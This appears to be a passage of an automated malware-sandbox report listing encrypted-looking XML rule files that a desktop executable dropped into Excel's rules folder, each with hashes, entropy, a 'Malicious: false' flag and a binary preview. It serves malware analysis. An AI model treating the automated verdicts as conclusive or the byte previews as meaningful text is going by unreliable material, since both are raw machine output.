SSDEEP:	12:hRQX1j3FBdjsV6qqNXU1xQEw/5aTIfMpPDZfi/7BOoXSacNdKJtuc9M2cii9a:nQlTLFsVIEiFkpkdWDKDV9pbD
MD5:	87A5AB3F5CECCFCF71B12B96567FB55A
SHA1:	C5E488F8BE84606F9FAB7C2EBFEC06C5383CF8DA
SHA-256:	5F03D37DB06A65B1FD0C117E4912FD571E68541A868C82190ED9409ADAAE5144
SHA-512:	654353E80DFDDD67AA6BBC7BFBDA7F396D44EE031DE7E9D4866CF38DF812E505DA66132C182DAE4B6D6399BA5CE135FE342A5025FB8DC887913763A0F727F22B
Malicious:	false
Preview:	<?xml6........._2.1C\..v........s..r\...9....3.e.aO...Y.aV...\|W. }es.X.^;..}.#.7@B[.."O@;...z#.lZ.Y.\|.a.D[..U.......".so....j^R...J.(2.z\|..?P?~..9......!$52......Sl....J.SV.@y..b\....a....[.u?e.D_.1..h...;K...:....Q.....6P2.......-6...M..7.3$.L.F..O..JM.6......T.'=..A.}.5..J.k%......P..L..T..i.X.....o.Faz.+..1K..h..<W.......... .....<.._4O..^.v.%cg.....J....ub....[...Hgg9L.u.....!.^7.`.&um .0\|\.S......:..}.1(...d...Nm...o..7.q..;;.z.. ~.$..X.....'.. ;...?.. .....LF..;..a..1=q.:..l..j.,....Iw.....H.We.~......v...._.E...qy..`...W..:.;..I.....x......(n^X.+p....c.......$(.[)&... c.A.4.5...;Ea.`Q.C`..n.....Is1.`I..._.W......o.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7271564491640525
Encrypted:	false
SSDEEP:	24:iO79Kyhn1EqyFRphxQBv0Cb07MCWA39pbD:1f1nIpsB80WWuJD
MD5:	F448F9E08823B3F6F1548B7F48431F9D
SHA1:	CB3CF5F4B552E2814044798E261B39F9CD1B6AB7
SHA-256:	1B9AC2845CD1AB8A1AB453E78D108B33807D811F74180AE79F1403E5B7953B60
SHA-512:	A13EEED37BCA2AE491BE08468661D114EA18946FED9B81D35155D6AD3326985448871008AAD03E9A21B309DB88A5C9E566EEB284D1B1F140144A049EC48AF10D
Malicious:	false
Preview:	<?xml....m....D.^#3..f..P5...-{....{.*.....2.Yjz..7:..{..I..G-..8i...9..G........#.r.......K.J...]...&5n....'.$.MO.o.o...`r.I...$f.Z.e.........5....bH.......zA?W8....db.......S.N).....mP,P.....[C.s..9..LO.."......(E..?8HAZD....Jp......d.;.(......}...D..fr./..+.K....'........Wx:0.P.+...<Y..E....\|.N._<..s\|..{...^..5.F.AP..$.....\|qr.A.A{...DK.T. ..'93........Z+..0......-...a....}.....!..d..[.......O..B8U.;-\|...^G"8.....KS.51z.$.t..N...a/..m...-7.aO.U.........4....%.g................@R.IwB.....jQ.I.y....!.(8...7.WD..<.h..@.......)$.>e..D....j..M..?.FR.FI..2...X..A.......~".T..p.......1.....w..+.k.)(.):kx3..'...>..'E.{..RV..&..-.....4.5.=..EB.7n.S..U.^...y..HO.}..8.9.=.C.e.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.675200590539268
Encrypted:	false
SSDEEP:	12:FO5CMDv01XZ7nbNGQ+i4HOp7R8T6aA/FSwoHy8B51hf5oSuMbk/4G1Qcy09M2ciD:9M4FZ7bNR4u9RafA4pHy8P1wS5W9pbD
MD5:	C4117BF1191101017A9E9F6A78321FED
SHA1:	9D62B7697A93CA38B6DDAE0231B6CED4C4B094DA
SHA-256:	52C77A3AE3DBF60EAF29037CE5F0D61ED00E526EB6652305610C54398471F7E2
SHA-512:	DA39CC71D0821D5CAD17C94A2D0DCD6ED023F469D446F466279505E65D6E8967F6971334A0C7522ABC6978B81419E2BDC452A3E30F4EBA065225E591BDBC0EEA
Malicious:	false
Preview:	<?xml4..?........2bE4.Q..6..n>N2%.!....)3L......3.{..f.{!....%.,c.8.....<.N@.Ot..c....k..mc.J4c.KPi.......:....?.;.=..6....f.".......1qaW.G...u.:...n.g..Ddqj.L+ef.~.j.qeky3.C.b\...#..H.. ..f.....5.h;W/...a....0..p...<.x...<...>........:/.....w,..z.L(........w.(C.....k+&..M....i...~..w......P.d.e..%.*.T...t........?..\..n]C.....Wm.......k.&......FG..3.....<...,.7.[..E... .6..[f.0c.F!....B".KC..........ZH..'......W.s;..3.......K...k..X&c......n..R..2...oq0..~N.y...........0.8..w..jX..T....m..T.S .....+...4.....x....Z.........+A...;[.W.#.....t..........t{cN.d.Y.}h.<v...C...;.i.G.."wK....t.R.V+.kG.P.~...kfE....+~...75.R0.>...l.g.f.~.{5xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.731722881231425
Encrypted:	false
SSDEEP:	24:4BQ3t3jj1do30UDv2eRvbuf5vPyJm9pbD:7fGJRvzJYJD
MD5:	F508DB76CCA1C05446B107E77580A8BE
SHA1:	A2ACEC01A8CA159AB99B136ACBD0B978D43F8019
SHA-256:	BCB987CB6AB221804ED2B197B15039EE625F9413CF33FB3C7104E898D13EC234
SHA-512:	9B8C04294FC4AD5901CAF3FAEEFD74A59ECCC4DDFD331B975DE2D7D094980F8D88CA3178EFC5529B0CC8DA976ECE7AB656EEDEC25BED87BF65DA9D96F0462CF6
Malicious:	false
Preview:	<?xml$..z\|"..F<.........i.U.V.Vw.d........,b[o.....qr6ZU4.....V..>.....W......./...a.1_..`..2.....F.....oR./{)).....d.Vt/....uV..g.}.{.......y=.lr...Y.'"...v:v......v.+A$..+.U.j_:(.r.o;...I`...v{.(D..op.wF[.([.@......V..1..x....TL:h...q.z...?.......l.a;#.mF.}..Cb...w.'........n#x.$]].~ .&..mI.o.@.w3kV7.]..8.......q......epZ....U. 4#!.w......L....g..f.......[..a...y@ ..>.].5K.w <c..!BK...n.5.>.Z.H.....W.p.J.+&.......0....h".....A.$......0..p........`#K.....Ii.<w....1.!..}d@..P.N..EpC.q?..&....~h.6x..6y.....[..hu.r.1....1+n..c.o.......4...?8..h.E=..Z..=.Q&.^.2...t..@"Pe..]......wV......Es.C.?..e.t,...G.}..t...B..... ..n.m.;S..o.S...Fz.D.4.*....tT.#.E&..nQ.^...m1$.PE..X.%.-.~.=M...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.70922161304654
Encrypted:	false
SSDEEP:	12:nn9QNTME6OkCb34AFvNqMOFFa2lkN5c6CNlyH4R4uArFoufumNjKzl9M2cii9a:nZ0X34AF4MOFF9CQ6CqYkryl9pbD
MD5:	BC4E5750C6D51E22FA1709E923E9E4F7
SHA1:	333A27748B90E03B6BDDADBCB98608BDAF8C13F7
SHA-256:	DA4D5ADFEC678618F75BDA8E93419C9A7220B641146F179ADF697D790C897936
SHA-512:	83DDDC107FD117CDA8AFBC7E7467BE58E57BF39F5E4281F14003B705D292190E591C661AC8749F8C241DB38144E75B18A510CFC567914D8236C58165C5159CFE
Malicious:	false
Preview:	<?xml.VC~......g@..`.+5.....sR...f.Y....[.7Z...V.}.8lof.]7.B0t....7\!P'.dG..S:Cd..IV.e&.!_.y..........7!_.6..;kL...'[2..[..m8Sv..#J..$}~..u;...u..e.&......Z./@.......-.@.].....o.o.a.......2h.....R.....Y::...m.q..M<C:`.c.Q.9.Y.'U..@$...N.iC.vQ.s..-.....mBcD...=...f......v....V/r:T........v...4}!+RX..K.^x9.G...%.....E...oP.W.....o1..k94.n..J......Z..V...N{XN.+.(D...~..S)...R..[.7.#..T...-.u!.{c.NOY.$.!)..=2.]..<....m....f..-..'AopYw.K.fMz......m....$H..... .....Jnr.....g.I...Ny.......P.c.9......'..=+7.XK.....v..bx......k..}.%.+ST.S.I.*..q....v.\.....vJ.....\|xj%......m..$...b...36..N.'K..l...{...L.[.%Sb..x...p....d.D.`...'..).5.H..u.d.GH..\.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.69245652862681
Encrypted:	false
SSDEEP:	12:lM0XL47zZ6a+XPIJW2k9wOWxTZGXUvM4h5WZGa3MZxOZNKozE89gWPEkcV9M2ciD:LozIN0O6TZi+heZ8oBPE/9pbD
MD5:	339F254B057D72A4F639B8CFE4ABB23C
SHA1:	38D895FF25A93E3A9A6FC12ED272DF406B266673
SHA-256:	A95A6A02155214EF10FA663B547D6DE6E546664AB4407399ED1F2F0D55896FB2
SHA-512:	BB07335634EE33FD833A9F6F7F0BDBAF0CBCA6EA1FD01E607E2A5154FBD3CBC84B8E4128E089D3E92F2110BFDE760D53BCA84F0ECCF01462B9143E7B0CBF0540
Malicious:	false
Preview:	<?xml.0.P:....i......Q.%..)V..@Yyb......'.+...c....YQ[N5.$o..."kA,..*....5....n....m.Q...Q.....#..w,X,!....D-N.T....Ej....._...,...?#.f=_.]..J........>?(..}y..G.96.7...um..:$..i.F...K.L......c+^iN.T..4....31=.w..y..._F..)..f.PRXA.F..sO...q.n..-EAX.a....}3....?.j90.W.rGN.[.+0...G....$....x.E..]C.Xf=.rYEq.w.q..B....~1....BO]r#.[n..c.w.o..fM...?.M}...'..'....j...r.=...n2q....3u....B..(.kf...G....W...l......z.Wk..v,i....&"......p+l...8C.A...P.9(.'........"I.T...F......z....d.2#Ft.......Q&.:u.......jF.<.Xu.wu....$......G...0.D..?W.........)..2;.......-....-....6.....&.......2i~<.cS..."...\|...m...~.@..`7[..E...g)_.r....9#3.P#...GLH.L......`A.=.g.."Q[.WA. ....NJ..:...4.:.....x...RI..D..f".H..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6603603813532
Encrypted:	false
SSDEEP:	12:pUoPzQndAgElg484xykDBHfOshlJlhJINM1EoyHet3H1Bh67uo0LlXiAAJv2C59h:DL025a47379JGn+tRoYw59559pbD
MD5:	D0D3A6F5B4BEC53BB3D05888ABFB05CB
SHA1:	045DF67393F0F01DBA6ADD32E8827B67E87D2AF2
SHA-256:	108572AE4A53FB18D02602A5556EB499F3D8816DE78D3FC64E3319A04ABB0213
SHA-512:	EAAE5488DD416C2A1299FAC2D3F0EF88BF255BC1229E1C16CEA99854A693B268C269ABCC60F27876A312EF70B109B5357F5D8B2BA0AFDE8E0846B8353BC3C6DB
Malicious:	false
Preview:	<?xml.S...K..}qM.i..Z.jU..:....4J.8s.,8...8S......r.W..tf/.N....9.DB..u..Vihv+I..#.wH...^.i...z.......Q..h.BN.,.1.PE...T..a......~'[B.....o...+.(...f*iI.s<c....R~....A....'....J.7..`T......-.d.J......l.y..&.(+F.(...9.{...?.....y....q.6.9.#'}. QD.-.F\Y:..=..NG.1N2..I y...K..T...0.K?\|..<..C:.}..qP.p.....]e.i, ..KR..:D....H.V./.M....Q.I...........".ndd..c_t.[...f..h...k}?.Wt.v.c.XGh.dY....~3.%..c.E..P.C8..A.%K.c...$..ka...5...H..Nq..'...=p.".IjB.e..xv...Q.WC(...h/..........$77.\|...G.w..pdO.....$.."<.kZ..P.6.....f.......6.._..1...bq..7..~A.U-...~.>..%..j=.a..)Ya.&.iY_...%.4.....+.{..$..._C.Z.._.....U..b..x......l..{....-ooM.4...6....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.748462072735818
Encrypted:	false
SSDEEP:	24:MC7lQnbwWUyPWlwvIlXMPTMXuPZIL9pbD:MC7CbwWUyelRUYXuhIRJD
MD5:	96A1442A057222D1BC2B84D36F74862F
SHA1:	DEA21EE6D3A1BFAE457529CFF6393681C4808379
SHA-256:	1E8B70CC9DC752C5C312399E59934D61903DB9717666DA8E6554A81E7D2B8393
SHA-512:	6857FF1D02D503F53CB46C444CC9F459C8D6BB017D89BEED5D122FA162F40449E25A7F2F530F77341AF7DFB5E9DC4A9E7CAFF437759CFC1FAC349B47C2F5FCF4
Malicious:	false
Preview:	<?xml.....9...}....Ha.9;..#.L.@l.&....4.h.S.(..(.......fN.U\|...8..z.(.KZ..8g<....(.t......$a.Q.N.I.....d.....;o}.....d.5.K...B.W....S.....O&......%U.....7,.>..,..21.;(...vm.us.??em+.'..i`>..4....9^...6...?...BT8..........C....}='9a..o....wRA<.R..@L..D.N....n.9.v.Q.5.D.].-e...6L} .G...sq...0....e.~.2......?j&Z................Nh<..U...;.1...T....2......?h...#}.f[......nH..FWB%..@.u.c;^.(.../.....XvdS.h5.Q..........7.)b.....X.u.........2...h..T...3..]o~.nO..>....Hg.<...Y5.W..Z.N....BO.....yu....../.x".../>...[w..R.....k=zi.D..;.l....J.5.S..(@+......:Yb...{.h..M.I.e..C.".$.n.X\|.&....V....._!.H.4.;.".VL..2..\|......v.vM+..G6+.f"....:6.X....C.4.....3..#..T......H.i'T....<pW7.`......w..fu.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.716301005950214
Encrypted:	false
SSDEEP:	24:0MaqwMY4lIpdHEn/WJnH4ee0gaEilN+z9pbD:Iqw8CzHUOH4EgaEms5JD
MD5:	7DDC96159D088A19454A30F3FD951F78
SHA1:	3814FD473CB60174A311C04E2E7B3F60B3D8F9AC
SHA-256:	6F86E4A397E9EC161F084A215F1C48D1048C9613EF513B3F9464DA8ECAD80D30
SHA-512:	3A4FAA5801C341D0BB4D8AF9EB85202346C7F22B3E52BD4A3FC4A2F98290EE4D57E03356A962385801E6B1CE03BC83374B8D06F5BF4AF69CBFCDFB848B36D0CD
Malicious:	false
Preview:	<?xml.YQ.T{..?.r.g7.8=.&.O.aC.Q.Y{...Z....P..%c."......3..t..C....:........X....u..3....(..R...qM..^o.4x{y.c.\{..S.s+9.y ..h.X..p`.B.T,-....\|.5.H....O.R.....d......~.ma...!z j...mo./..w...<9{.u....K.!.....s..>=..^...p.O.n...f.^?....p....L0....B.;.R..h..\...z.l. ..0..=..3,.`yl.u.<...Z.Sc.[.l).GY.....w......q..e@...(.^.\.p.u#....$.%SS.W.Q.2...F3....hX.=Q.\|.....!..&.V..c.W<..po.z...}...h."v9..=.I"...iw......I...D..1F..........VfVOc...f.5..\G..~4\.sw....?..!)..c.....[..Y......".M._..m.t.2...(P..*....h.\|l.;@X...a]...0......N...uI$a......D..U...f.........cu. ..._...V..H.{....D...8D@....+$T..\]7Md....=.]...3yo1.VG~.......<......r.z.e...KT..N..i}.T'.q...Z.sjwdLZ..o..F~p!......'.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.732105987041839
Encrypted:	false
SSDEEP:	12:+t96NG+soaewRN5Cov/be995/ItKRmYIlcgUoAjjiw3gL9M2cii9a:+e3eLCoberuUmY5gKcL9pbD
MD5:	2BCAC59373D066295EA9484AEDED4744
SHA1:	B5A2D3DC1C5DFC69B17E5421A63652E98484D159
SHA-256:	4C87AF547079099707D633FE1CF153D891DD05CBF6435E01DCE9A8B2716FC0B1
SHA-512:	284030A4488680A382116EEDC4C6DE2DC039108473E4EA3BB88C6596D0394A3175ABD9090E6C1DD5D27CD4E6DF214CC88C65E9F11F3A8FD91CD8E7ECD3F0C01E
Malicious:	false
Preview:	<?xml.G.x...w......QO/..\|...V....A..........}/j3..`M........$....l.Ui...(..$E.......j..F..f.+e.V..B..o.,.=.....J]S......8....k..Z.I....-..{..)=..cV.FbIFd....q......X..dT.[..2pKVS^.cEM.....p..w....d...a{..#aN...`.....X..'^;........M....<.u........ku(.h.V..p]p..l?.z..>...#Kl!@...,....,.&.d::.Zqz&.l..3#..E...h..f..=...Lw.G..Q......W.....1.M.g......QZ.N..~.5&.#Z\|.....8E.f..........)s...[..Gm..@...^&-.X.E.H.83C9.a..e..\@.4(...h..<..xu.=1...k#....a.H.d..Nx.(H/U.G.....?`..@..#.z.fJ..v.)...(...Q_.?....X...+...IO.a.o.c.. ...tLh...\...}C.IA..UI......,.......f.CU....I-o..=..P.N.$...JF..p.y. ...c....q...W....5.(HN......v.b.L.{.G?...BUK.........O:?.X..u...0.zw`.#..tIl31.S.C,.d.....R.]..d..h.0.....(..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.6876948610938145
Encrypted:	false
SSDEEP:	12:yZ2PsxZUHh2/HA5eSfsAqK5CY9aYBGOuB8QGpZ7vUqvzWCQAfM6PHYIZ1Fw4s9Mw:A2bw/oSG5CMTGGDiCQAE6PHZLw4s9pbD
MD5:	3AE51C03B95F272C31DC4D7DD162F5BB
SHA1:	F4E69B13146831876C86AE24FB8D04FCB25F9311
SHA-256:	C7ECE7FED096F42903E93028FE0BAE6C758BD307EBCEF90B4FAB1351D6321846
SHA-512:	6FECE587B82C837FE4840B6DE630019CE0B67608E2C6DAE62C24FF31C9CFC032F87DFAC6E1DA8EC0E4FB81CAEA1B64D230E69C98CE03064DFC982498A04DD614
Malicious:	false
Preview:	<?xml........m.%..q...............u.\|.7...{."......}..E?)..\.0t.}@..........]"n.<a.(...M....Q.3...J..:..}.../[..2..Y....=h........_.f.C..:.Z=..=x.V..y.U.......>.......5.kA.N_...J........._.....YOi.!..@"...:..."...\...@.{.l@..\...#.T..=7%..d'So@..^(...v..n7=..C.....E. .....W%<.]..2.=.........].^HZB"\34D{2...."......g..?.M..7i....b...\|..U.I...6.......<.ON<..w...i.9S...Dc...S.......Y.ig.].&r;\.2HCM......eUbW.".#.}w....ZV.........k.....}".7.$N.I.X.>...t.0.X.r....Z.p:.."ey.o...i........W`...d..@nC7<R.w..).D..%gP.....XP...^..P.W....#\|y....e.J...">.Z.7...;$..n.@..>#..:...\...&+.Mv.DB6..R...YT.Q.f.-A..,..........i.vi..1. .;...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.723888611457362
Encrypted:	false
SSDEEP:	12:wq8Yuqj9eELxuu0dpXOOmQLM6Zrmbw2LVACDpo9WZhW5C9qCY4Prtwz5rRo5h9Mw:B9R3tOBL70D5A2a9q9qH4jqz5C5h9pbD
MD5:	8E29CC1047EEFB5AA91A8C639A90CEF0
SHA1:	6FE41784D174B7F39707AC534E3744ADBFAEA8BE
SHA-256:	57EA1F75E81F078BFF94C2A024826B696F20A20239706C5441D5543DD219A39A
SHA-512:	9D2E0DC8014F0E35F3DB2C198D4057086935C39601222A24F4EB4676C70881DA8EE55D1B873E9524C909E11D34DBC4D294C850FE2365AD9A89529ADD48BE2616
Malicious:	false
Preview:	<?xmlrh...T........~....r.F.[..x~c..`....U.x...(.&..~>......Db..<...a..d.l~GY.7.}..].AK.A>2.B...6....{r.G... ...V.F.5`\.).K..c.W..5.l....s...Q.~...]`.R4}..?..-btC$.]K.....PO.5$B..53./......I@x....>..K..a.....C ..:.........=]b....%....9.n........... \|..-.'.QWh.8cb....K..uQ.9.%^...&..l.....Z."(lZ..k%/.jT.I{.tr....xc.....k..+...+[~.....~..p..k..x[.#...XJ.ti..6.G..T..y.{Q.G1....\....Q{FbuHf....!U9uL......T.)..WX0..&9.....;#..N7.l.....7.....D....-.M`..-.{.Q#^4...9...T..a.O.nhc..&.AE.`H.. .2V.".....j.B.o.....MH?f..^..}/....\.......J.-.`\N.+"E[.E'.ue...^..w....w..E.#.Ua.R..0..Q.r...X............Q.f..MX\|...~..>....VUF.Sf.I.De..SI.......O..........z6..k).l.re..\>...o. *.ru.wcY.NYi.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.666860675854294
Encrypted:	false
SSDEEP:	12:gG/sQRz0bzjlc0LddCyBE5nkwAny6XgvP6VkLPAKCiUF55t8uN4FMV9M2cii9a:hJSzxNLeyBE5kpnfXdkr903JN4Fw9pbD
MD5:	8159BECAA08B40F81FF8433C7C9DB8AE
SHA1:	15BFC3D58FD84E43697F93FF7FA94D7194D44EEB
SHA-256:	2F317FB0CBA71206828D8D3562207D945E65069DC5BC372409747198B1E3AE54
SHA-512:	1E4CED435698B2C39CD061497A6DAC749789E9632A4F10BFF42B15CB71A9DC98D455613997055DD278B6FE409414EEDF67AC42B0894394F0F25690B5B1AACDC8
Malicious:	false
Preview:	<?xml......'b....h.du.{...\..V..+$...7.6..$1..<..x.v&..5....C.Gp)...........WrML+t...".PM..+CWG.D......T;.Q..D.d.{...Um........rg..`..}c.....+.....e.J^.m.....p..2..j..o..q7iD..{.<..YJ."'H....1...jI....=..]D.L.+%......-'w.j...s...Xh....C...;l.}..8..Q.$.y.h.?.N....aUn.y.......G..A.y...5.O...-...'..Q..a..W...>.....{..{..&E...E..8V;.{V.n...P..^..xY..d.N...n.ZZ....q..Yp....+..4."..'..LP...{....=n.........%..{.......,[{....(.....A.an1.....R.]..af..l..d...Z.c......;~u".U2.^.G...J...W.'?.`.!.<....P.y9.q.......i.+..?.7w...v......pF.F}....q(.t`..J......Py.pFo.U..}.B.i.9..Y\|.....FO..W].^.H.......27.X..21......s{.n.....&<..Jd.A.z.b...d..e..I...b.nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.721739499428657
Encrypted:	false
SSDEEP:	24:eVGCuBzjjqhKVn8rNq/SGO/yEoYllc9pbD:e41BzPqhKVSq6F/y8lQJD
MD5:	D1B7F2C0833439F5520D67B429E28B16
SHA1:	1E51BEF1ABF50C365510BC1CDBE5875703A0B7DE
SHA-256:	3039F5D8557C433A74910085A2BEE4CDF3028F885F78F3131C660E2CAEAEF3E6
SHA-512:	0E03D5CA2374FA9AC0C861A81339A79F961D536FF9D9A1B264C42B669D4ACD46D345EA040AEFF29371871C3E92FDDBEE402AB4F2827C6E1E66C09D9F8352485B
Malicious:	false
Preview:	<?xml..$.OL...I.R...d..[..t..._un.....h.....[.29f....D.gf....P.(.]...X...SM.....\'..p$.-.$.s.W)z1....=..L4....7...#~......."1-q.<.R...I..Skl....i.Y...=......gFj.4z..1JN..}-..9.2...t*.J..U.q......-s.^;..f.._.4..........!......=}kh[.%....-,B...GK.C.w.........]..<.1..s....E.-........90....Vi....U.t...b.[../.x.s..m.Xk.B.~..E.]..J{l....&...7..g=h.,>....i`....5..Dnu..c..d.v.Y....x..t...A.h.T.d\......Lc&....."....a..k..E..U.}x..Zn......T.5....o.._..D.}..I7 ....5..9%...Bk0.3.!.K.?..b..M#as...2<...Mz.d.s.l.Pf.\|..... ..ix).%....1.0....!.._zN}.\.+~?K"i5..5..^1.i.1....s\|...},....za.0.=.....%...i..$..,.(.....S2w.........8/.`....I.-A..h........%..".'...V(.}.&ji.o+.y).......R....]..8v....N$....gNST./....rS.g#.-..k..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.743177823385638
Encrypted:	false
SSDEEP:	12:UgxyJeGzv89LooJfPJgjm3rGHrUzn93qe00lfTwuAeYqz/sPJAL00LBd9M2cii9a:Crzv2ooJ3JgjErhO053AeFsPO0Cd9pbD
MD5:	FF4654836D211E894F698784E2967A8B
SHA1:	19469CE3EEC9EB2B91917ACA67EA88C8E00FF3AB
SHA-256:	45E0863EBD5E762D069067B397B0DA409A5257D8FAA04276CC485C553E6B53C6
SHA-512:	E136ED1A2958256A9AD40432E4E8C630694926372B237A404D4C3FDAF78FC15B7FE9E19DC1A3548CF9B4DDA69FAD381071EF9CB22A14B5AFED654764860C8243
Malicious:	false
Preview:	<?xml.4.f.?.......^........+C.w....<{..<T..."M.}P}L..N...Y.u\...E..5...........t..q...S...d.....S.0. [..s.u.Z...{..{...Z.f..r..\|.U'..\`m..&..E.N9.........g.].nkw.@....7..N`..w<.9..&.. ....m....(.aQ..W....@..S.c..{...7.ZW..Vm...N!..}....U...E.OB..z.f..8V~.........`s....B...?........;[....r.hvMO...F.6=uo.9..z5..[\|.>......R.7.....F8.ezr..=...D$....C.#.msVD.4.....AT.Z......~.2j.....5....J....../....Cv.g.N..c..d......G,....L....L)e......?..}`.?....o...-.......9...e....+.D..G.....o..M6..h.3...'C.F<i.s.F...3...$..(#{(x.....xX.M71..4...P.(1}.3..D.,......LG..5....>......\|.........?.L.,.bO.k.^.u.M....z..b...n@F...."..=lj3...f..2.j.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.719251064500867
Encrypted:	false
SSDEEP:	24:HzgWgB0QvHS9Tdd7FKQ9dEq+8YIz4C9pbD:HzOmb9PFKED+8YOJD
MD5:	59BBCE3004DB7C90284DD02EA27FA0E6
SHA1:	0C98DDA57ABD9BB75B2E6C254ABEF6D18B63BA69
SHA-256:	102B0F6D575D5D769BFEA5EE3E6E291806E3270FC49E10ACC8E34071CD6519B7
SHA-512:	4714D8A81F3A05A23EDC34A9DAE9B979EBAAB5760C490B79E1D94724CEBEE51BE727BFDE056FB6B8BA5926A8C03C28F54FBB81609E943268006C40E3A3C90A99
Malicious:	false
Preview:	<?xml.c.W..q.p.\|.7.....r.b.B-K.xV..f.\|....h4F?.:o.C,...C.pBO.=.....l1.....u..I.~.Vj.7I.i....%....X%.....Z.z...i......=@......../f...zT..\$Z........P[.o.....U=Zz.M1!f-r../tQ&.h<Yk.....(.....@......._/F.e.I;.7<......I..4/.(.<s{..ak.6g...<#...iW...f{/.....}Q........O...$...^7?.c....N'...'....?#......9......{2s..?.t#..L.........&c.C....O.. ....,.%...[nr..^V.x.E..w...8L....`K...{.Q..x,.l\|....):....-...l....d^N`#e........G.R.D!D...p...{=Ds,&.t..\|....(w .,..w`3wP}?.3.{.}...ep.7...r.sM...I..Wt.".H...6y.D.U#.).<b....X.M..J..{.gq...@K.-Vx.>;....mY...........2.Jd.%R.}..#o..7..<#..j0q.h..N.'....GG.....DR....... 